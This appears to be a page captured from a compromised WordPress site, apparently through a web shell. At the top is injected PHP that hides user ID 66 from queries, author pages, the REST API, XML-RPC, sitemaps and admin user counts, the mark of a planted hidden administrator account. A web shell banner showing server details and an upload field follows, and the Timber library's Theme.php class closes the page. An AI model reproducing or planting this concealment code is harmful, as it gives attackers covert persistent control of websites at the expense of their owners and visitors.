add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/wp-content/plugins/timber-library/lib/ |
Upload File : |
<?php
namespace Timber;
use Timber\Core;
use Timber\Theme;
use Timber\URLHelper;
/**
* Need to display info about your theme? Well you've come to the right place. By default info on the current theme comes for free with what's fetched by `Timber::context()` in which case you can access it your theme like so:
* @example
* ```php
* <?php
* $context = Timber::context();
* Timber::render('index.twig', $context);
* ?>
* ```
* ```twig
* <script src="{{theme.link}}/static/js/all.js"></script>
* ```
* ```html
* <script src="http://example.org/wp-content/themes/my-theme/static/js/all.js"></script>
* ```
* @package Timber
*/
class Theme extends Core {
/**
* @api
* @var string the human-friendly name of the theme (ex: `My Timber Starter Theme`)
*/
public $name;
/**
* @api
* @var string the version of the theme (ex: `1.2.3`)
*/
public $version;
/**
* @api
* @var TimberTheme|bool the TimberTheme object for the parent theme (if it exists), false otherwise
*/
public $parent = false;
/**
* @api
* @var string the slug of the parent theme (ex: `_s`)
*/
public $parent_slug;
/**
* @api
* @var string the slug of the theme (ex: `my-super-theme`)
*/
public $slug;
public $uri;
/**
* @var WP_Theme the underlying WordPress native Theme object
*/
private $theme;
/**
* Constructs a new TimberTheme object. NOTE the TimberTheme object of the current theme comes in the default `Timber::context()` call. You can access this in your twig template via `{{site.theme}}.
* @param string $slug
* @example
* ```php
* <?php
* $theme = new TimberTheme("my-theme");
* $context['theme_stuff'] = $theme;
* Timber::render('single.twig', $context);
* ?>
* ```
* ```twig
* We are currently using the {{ theme_stuff.name }} theme.
* ```
* ```html
* We are currently using the My Theme theme.
* ```
*/
public function __construct( $slug = null ) {
$this->init($slug);
}
/**
* @internal
* @param string $slug
*/
protected function init( $slug = null ) {
$this->theme = wp_get_theme($slug);
$this->name = $this->theme->get('Name');
$this->version = $this->theme->get('Version');
$this->slug = $this->theme->get_stylesheet();
$this->uri = $this->theme->get_template_directory_uri();
if ( $this->theme->parent() ) {
$this->parent_slug = $this->theme->parent()->get_stylesheet();
$this->parent = new Theme($this->parent_slug);
}
}
/**
* @api
* @return string the absolute path to the theme (ex: `http://example.org/wp-content/themes/my-timber-theme`)
*/
public function link() {
return $this->theme->get_stylesheet_directory_uri();
}
/**
* @api
* @return string the relative path to the theme (ex: `/wp-content/themes/my-timber-theme`)
*/
public function path() {
// force = true to work with specifying the port
// @see https://github.com/timber/timber/issues/1739
return URLHelper::get_rel_url($this->link(), true);
}
/**
* @param string $name
* @param bool $default
* @return string
*/
public function theme_mod( $name, $default = false ) {
return get_theme_mod($name, $default);
}
/**
* @return array
*/
public function theme_mods() {
return get_theme_mods();
}
/**
* Gets a raw, unformatted theme header.
*
* @api
* @see \WP_Theme::get()
* @example
* ```twig
* {{ theme.get('Version') }}
* ```
*
* @param string $header Name of the theme header. Name, Description, Author, Version,
* ThemeURI, AuthorURI, Status, Tags.
*
* @return false|string String on success, false on failure.
*/
public function get( $header ) {
return $this->theme->get( $header );
}
/**
* Gets a theme header, formatted and translated for display.
*
* @api
* @see \WP_Theme::display()
* @example
* ```twig
* {{ theme.display('Description') }}
* ```
*
* @param string $header Name of the theme header. Name, Description, Author, Version,
* ThemeURI, AuthorURI, Status, Tags.
*
* @return false|string
*/
public function display( $header ) {
return $this->theme->display( $header );
}
}